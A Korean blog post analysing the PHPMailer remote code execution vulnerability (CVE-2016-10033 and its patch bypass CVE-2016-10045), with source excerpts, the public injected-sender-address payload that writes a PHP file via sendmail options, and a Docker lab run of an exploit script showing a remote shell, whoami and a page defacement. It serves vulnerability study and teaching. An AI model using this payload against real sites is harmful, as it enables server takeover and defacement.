티스토리 뷰
1. 개요
PHP 오픈 소스 라이브러리 중 전자메일의 송수신에 사용되는 PHP 라이브러리(PHPMailer)에서 임의 코드 실행 취약점 발견
※ PHPMailer란? : 사용자에게 SMTP를 포함한 다양한 방법으로 전자메일을 보낼 수 있도록 하는 PHP 라이브러리로, PHP 웹 사이트와 WordPress, Drupal, 1CRM, Yii, Joomla 등의 CMS에서 사용
2. 내용
- 공격자가 메일 전송시 '보내는 사람'메일 주소 입력값의 유효성 검사를 우회하여 임의 코드를 실행할 수 있는 취약점(CVE-2016-10033)
- CVE-2016-10033 취약점 패치를 우회할 수 있는 취약점(CVE-2016-10045)
3. 영향 받는 버전
PHPMailer 5.2.17 이하 버전
PHPMailer 5.2.19 이하 버전 (CVE-2016-10045)
4. 상세 내용
PHPMailer는 메일을 전송하는데 있어 php의 mail()함수를 기본으로 사용
전송에 사용되는 mailSend()함수는 아래와 같다.
/* The transport is implemented using the function: */ protected function mailSend($header, $body) { $toArr = array(); foreach ($this->to as $toaddr) { $toArr[] = $this->addrFormat($toaddr); } $to = implode(', ', $toArr); $params = null; //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver if (!empty($this->Sender)) { $params = sprintf('-f%s', $this->Sender); } if ($this->Sender != '' and !ini_get('safe_mode')) { $old_from = ini_get('sendmail_from'); ini_set('sendmail_from', $this->Sender); } $result = false; if ($this->SingleTo and count($toArr) > 1) { foreach ($toArr as $toAddr) { $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
MailSend()함수는 아래와 같은 파라미터값을 mail()함수로 전달하게 되는데 전달되는 파라미터에는 PHP 메뉴얼에 따라 시스템에 설치된 Sendmail 바이너리에 추가 매개 변수를 전달할 수 있는 다섯번째 매개 변수 $params가 포함된다.
$result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
PHP 메뉴얼 : http://php.net/manual/en/function.mail.php
PHP 메뉴얼을 보게되면, mailSend() 함수 전송 방법 중 additional_parameters 파라미터를 이용하여 파라미터값을 추가할 수 있다.
메뉴얼 예제에 나와있듯이 $params 파라미터값에 -f 옵션을 이용하여 파라미터를 추가 할수 있다.
추가되는 파라미터 값은 Sender String을 통해 setFrom() 함수에서 유효성 검사한다.
$params = sprintf('-f%s', $this->Sender);
setFrom()함수 내용은 아래와 같다.
public function setFrom($address, $name = '', $auto = true) { $address = trim($address); $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim // Don't validate now addresses with IDN. Will be done in send(). if (($pos = strrpos($address, '@')) === false or (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and !$this->validateAddress($address)) { $error_message = $this->lang('invalid_address') . " (setFrom) $address"; $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new phpmailerException($error_message); } return false; }
setForm()함수는 전송되는 입력값의 유효성을 검사를 하게 된다.
※ preg_replace를 통해 개행문자(\r\n)를 빈칸으로 치환한 후, trim함수를 통해 공백 제거하는데 이는 개행 방지 목적.
setForm()함수에서 유효성 검사에 의하여 다음과 같은 입력된 값에 대해서 거부하게 된다.
Vulmon -AdditionalParams Test@test.com
|
mail () 함수에서 Sendmail에 비정상적인 추가 매개 변수가 들어오는 것을 방지하고 있다.
그러나 RFC3696 규약에 따르면, 입력값에 ("")를 사용할 시 공백 및 특수 문자등을 사용할 수 있다. 그렇기 때문에 아래와 같이 입력 될 수 있다.
"Vulmon -AdditionalParams Test"@test.com
|
이를 바탕으로 PHPMailer의 mail () 함수가 /usr/bin/sendmail을 아래와 같이 실행하게 된다.
Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fVulmon -AdditionalParams -Test@test.com]
|
위와 같이 전송된 구문은 공격자에겐 의미가 없습니다. 왜냐하면 Arg no.3라는 하나의 인수안에 추가 파라미터(-AdditionalParams -Test) 값이 같이 전달되기 때문이다.
그러나 추가 시스퀀스 "\"를 삽입하여 전송하게 되면 추가된 파라미터 값들은 Arg no.3 인수에서 빠져나와 독립적인 인수로 전달할 수 있도록 한다.
(RFC 3696 규약 참조)
"Vulmon \" -AdditionalParams -Test"@test.com |
위 와 같이 전송하게 되면 아래와 같이 실행하게 된다
Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fVulmon\] Arg no. 4 == [-AdditinalParams] Arg no. 5 == [-Test"@test.com]
|
이를 보았을때 Sendmail에 파라미터 4,5를 추가하여 전송할 수 있다.
이를 바탕으로 공격자는 이를 이용하여 임의 코드 실행 코드를 전송 할 수있게 된다.
공개된 POC 코드는 다음과 같다.
$email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php some"@email.com'; $msg_body = "<?php phpinfo(); ?>";
Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fattacker\] Arg no. 4 == [-oQ/tmp/] Arg no. 5 == [-X/var/www/cache/phpcode.php] Arg no. 6 == [some"@email.com]
|
no.3 - \"를 사용하여 이후 값들을 추가 파라미터로 인식되도록 설정
no.4 - oQ 옵션을 통해 큐 디렉토리를 생성하여 Queue 저장
no.5 - X 옵션을 이용하여 /var/www/cache/phpcode.php파일을 생성하여 전송 로그를 저장
no.6 - @ 앞에 "를 재입력하여 문장을 끝냄
msg body 부분의 php코드(<?php phpinfo(); ?>)를 실행하여 phpcode.php 값을 저장한다.
이후 phpcode.php에 접속하면 phpinfo 페이지를 확인 할 수 있게 된다.
5. PoC 테스트
Victim 구성
OS : CentOS 6.8
EPEL 레파지토리 구성
# yum install http://ftp.riken.jp/Linux/fedora/epel/6/i386/epel-release-6-8.noarch.rpm
커널 및 OS 업그레이드
# yum update -y
* 업데이트 후 재부팅 필요.
EPEL 레파지토리로 부터 docker 패키지 설치
# yum -y install docker-io
* docker는 32bit 운영체제에서는 동작하지 않는다. OS버전 확인 할것.
Docker를 통한 POC 환경 다운로드 및 실행
# docker run --rm -it -p 8088:80 vulnerables/cve-2016-10033
* docker는 리눅스 커널버전 2.x버전에선 동작하지 않는다. 커널 업데이트를 통해 커널 버전 3.10이후로 업데이트 할 것.
PoC 페이지 확인
http://192.168.1.55:8088 (VictimIP:Port)
Attacker로 부터 접근 가능하도록 네트워크 설정
# iptables -A PREROUTING -t nat -p tcp -d 인터페이스 IP --dport 8088-j DNAT --to DockerIP:Port
Attacker 구성
exploit 코드 다운로드
링크 : https://github.com/opsxcq/exploit-CVE-2016-10033
POC 코드 실행 및 확인
# ./exploit.sh 192.168.1.55:8088(VictimIP:Port) [+] CVE-2016-10033 exploit by opsxcq [+] Exploiting 192.168.1.55:8088 [+] Target exploited, acessing shell at http://192.168.1.55:8088/backdoor.php [+] Running whoami www-data RemoteShell> echo 'Defaced' > /www/index.php [+] Running echo 'Defaced' > /www/index.php RemoteShell> echo '<?php phpinfo(); ?>' > /www/phpinfo.php [+] Running echo '<?php phpinfo(); ?>' > /www/phpinfo.php
|
6. 참고 사이트
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
https://github.com/opsxcq/exploit-CVE-2016-10033
http://php.net/manual/en/function.mail.php
https://www.rfc-editor.org/rfc/pdfrfc/rfc3696.txt.pdf
이해를 돕고자 최대한 자세하게 적으려고 하였으나 이해 안되는 부분이나, 궁금한 사항은 댓글로 문의 주시면 답변 드리도록 하겠습니다.
'취약점분석' 카테고리의 다른 글
Apache Struts2 RCE S2-046 - CVE-2017-5638_2 (0) | 2017.03.22 |
---|---|
Apache Struts2 RCE S2-045 - CVE-2017-5638 (2) | 2017.03.12 |
CVE-2016-4971 - Wget Arbitrary File Upload / Remote Code Execution (0) | 2017.02.08 |
CBC(Cipher Block Chaining) Padding oracle Attack (1) | 2017.02.06 |
- Total
- Today
- Yesterday
- CVE-2017-5638
- cve-2016-10033
- Struts2
- cve-2016-10045
- phpmailer
- s2-046
- Suricata
- 취약점분석
- S2-045
- Snort
- 취약점
- Vulmon
- PHPMailer RCE
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |